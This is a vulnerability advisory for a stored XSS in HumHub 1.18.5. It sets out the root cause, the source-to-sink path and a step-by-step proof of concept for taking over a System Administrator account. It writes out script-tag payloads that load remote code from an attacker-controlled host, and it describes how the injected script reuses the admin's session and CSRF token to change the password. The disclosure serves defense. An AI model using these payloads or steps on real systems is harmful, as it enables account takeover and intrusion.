
HumHub 1.18.5 - Stored XSS in Profile Field Category title via HForm#renderForm leading to System Administrator account takeover
7.2
High
Detected by

Fluid Attacks AI SAST Scanner
Disclosed by
Miguel Gómez
Summary
Full name
HumHub 1.18.5 - Stored XSS in Profile Field Category title via HForm#renderForm leading to System Administrator account takeover
Code name
State
Public
Release date
Affected product
HumHub
Vendor
HumHub
Affected version(s)
1.18.5
Fixed version(s)
1.18.6
Vulnerability name
Stored cross-site scripting (XSS)
Vulnerability type
Remotely exploitable
Yes
CVSS v4.0 vector string
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
CVSS v4.0 base score
7.2
Exploit available
Yes
CVE ID(s)
Description
HumHub 1.18.5 is affected by a stored cross-site scripting (XSS) vulnerability that allows any user holding the delegated, non-system-administrator Manage Users permission (admin_manage_users) to inject persistent HTML/JavaScript into a Profile Field Category title. The payload is rendered unescaped in the account-settings page (/user/account/edit) that every authenticated user — including System Administrators — visits to manage their own profile, so it executes in the browser of any user who opens that page. When triggered by a System Administrator, the attacker can leverage the victim's authenticated session and CSRF token to perform system-administrator actions, as demonstrated by changing the administrator's password and achieving account takeover.
Vulnerability
Root Cause
The vulnerability is a trust-boundary violation: data writable by a delegated, non-system-administrator user (ProfileFieldCategory::title) is persisted without HTML sanitization and later rendered as raw, unescaped HTML in the security context of every other user — including System Administrators.
The attacker only needs the delegated Manage Users (admin_manage_users) permission, which is STATE_DENY by default for every group except the fixed Administrators group (protected/humhub/modules/admin/components/BaseAdminPermission.php:29-30,49-57) and can be granted to any ordinary group by a System Administrator without making that group a system-administrator group. protected/humhub/modules/admin/controllers/UserProfileController.php sets $adminOnly = false (line 30) and gates the category-editing action only through this permission — not through system-administrator status.
The stored value is never sanitized (protected/humhub/modules/user/models/ProfileFieldCategory.php:45-53 validates only length and presence) and is later concatenated directly into HTML at the sink, protected/humhub/compat/HForm.php::renderForm():
with no call to Html::encode(), sanitize(), or any equivalent output-encoding function anywhere in the path.
Source-to-sink path
Source — attacker-controlled
title:protected/humhub/modules/admin/controllers/UserProfileController.phpsets$adminOnly = false(line 30) and gates the controller only through theManageUserspermission:actionEditCategory()(lines 65-81) loads attacker-controlled POST data directly into aProfileFieldCategorymodel and persists it:The source is therefore:
POST /index.php?r=admin%2Fuser-profile%2Fedit-category&id=<ID>→ProfileFieldCategory[title]Insufficient validation (
protected/humhub/modules/user/models/ProfileFieldCategory.php:45-53):titleis only validated as a required string capped at 255 characters. No HTML sanitization is applied, so a value such as<script src="http://attacker.example/poc.js"></script>is stored verbatim.Propagation without encoding (
protected/humhub/modules/user/models/Profile.php:206-223,getFormDefinition()):Yii::t()is called with the attacker-controlled string as the message, not as a parameter. Since the injected payload is never a registered translation key,Yii::t()falls back to returning it unchanged — the stored HTML passes through untouched.Sink — unescaped concatenation (
protected/humhub/compat/HForm.php:198-208,renderForm()):The category title is concatenated directly into the HTML output.
Trigger — every authenticated user's own account page (
protected/humhub/modules/user/controllers/AccountController.php::actionEdit(), lines 83-99):Profile::getFormDefinition()is invoked for the currently logged-in user whenever they open/user/account/edit(the default landing page reached from Settings in the profile menu), so the poisoned category title renders — and the injected script executes — in the browser of every user who opens their own account settings, including System Administrators.
Impact
Any user granted the delegated Manage Users permission — a permission explicitly designed to fall short of full System Administrator rights, and denied by default for every group but the fixed Administrators group — can persist arbitrary HTML/JavaScript that executes in the browser of every authenticated user who opens their own account-settings page, with no further interaction required from the victim beyond a page visit they would make routinely.
Against a System Administrator victim, the impact is full account takeover: the injected script rides the administrator's own session and CSRF token to submit the legitimate administrative password-change request, resetting the System Administrator's password and granting the attacker complete control of the instance.
PoC
Preconditions
Local instance at http://localhost:8081 (HumHub 1.18.5, PHP 8.2, as installed in the environment described in the submission's "Install and run the software" section).
Attacker:
testuser, member of a normal group (User Managers) that has been granted the Manage Users (admin_manage_users) permission — not a member of the Administrators group.Victim:
admin, member of the Administrators (System Administrator) group.An attacker-controlled HTTP server reachable by the victim's browser, serving
poc.js(local example:127.0.0.1:8090).
poc.js:
Serve it:
Step-by-step
1. Delegating Manage Users to the attacker
Log in as the System Administrator.
Administration → Groups → Create new group, name it
User Managers, keep the typeNormal, Save.Open the group's gear menu → Permissions → set Manage Users — Can manage users and user profiles — from Default - Deny to Allow.
Open Members → Add new members, add
testuser.
2. Storing the payload
Log in as
testuser.Administration → Users → Profiles → General → Edit Category.
Replace Title with:
Save.
3. Triggering the payload
Ensure the payload server on
127.0.0.1:8090is running.Log in as the System Administrator (
admin).Open the profile menu → Settings. The General profile-field category renders automatically on this page (
/user/account/edit), loading and executingpoc.js.
The script executes in the administrator's own authenticated origin, reuses the administrator's session and CSRF token, and submits the legitimate POST /admin/user/edit&id=<ADMIN_ID> password-change request — demonstrating full System Administrator account takeover from a non-administrator, delegated Manage Users account.
Expected result
The injected <script src="http://127.0.0.1:8090/poc.js"></script> appears unescaped inside the <legend> element of the General profile-field category on /user/account/edit. When the System Administrator opens that page, poc.js loads and executes in the administrator's own browser origin, fetches GET /admin/user/edit&id=<ADMIN_ID> using the administrator's session, extracts the victim-bound _csrf token and password fields from the legitimate form, and submits POST /admin/user/edit&id=<ADMIN_ID> with PasswordEditForm[newPassword] and PasswordEditForm[newPasswordConfirm] set to the attacker-chosen value. The request succeeds (HTTP 200/302, no 403 from checkUserAccess(), since the request is authenticated as the administrator), the administrator's password is overwritten, and the PoC surfaces an alert('HUMHUB-IMPACT: administrator password changed') plus an on-page banner confirming execution — both visible in the administrator's own session, not the attacker's.
Evidence of Exploitation
Video of exploitation:
Static evidence:

Our security policy
We have reserved the ID CVE-2026-93769 to refer to this issue from now on.
System Information
HumHub
Version 1.18.5
Operating System: Any
References
GitHub repository: https://github.com/humhub/humhub
Mitigation
An updated version of HumHub is available on the vendor page.
Credits
The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team using the AI SAST Scanner.
Timeline
Vulnerability discovered
Vendor contacted
Vendor replied
Vendor confirmed
Vulnerability patched
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.














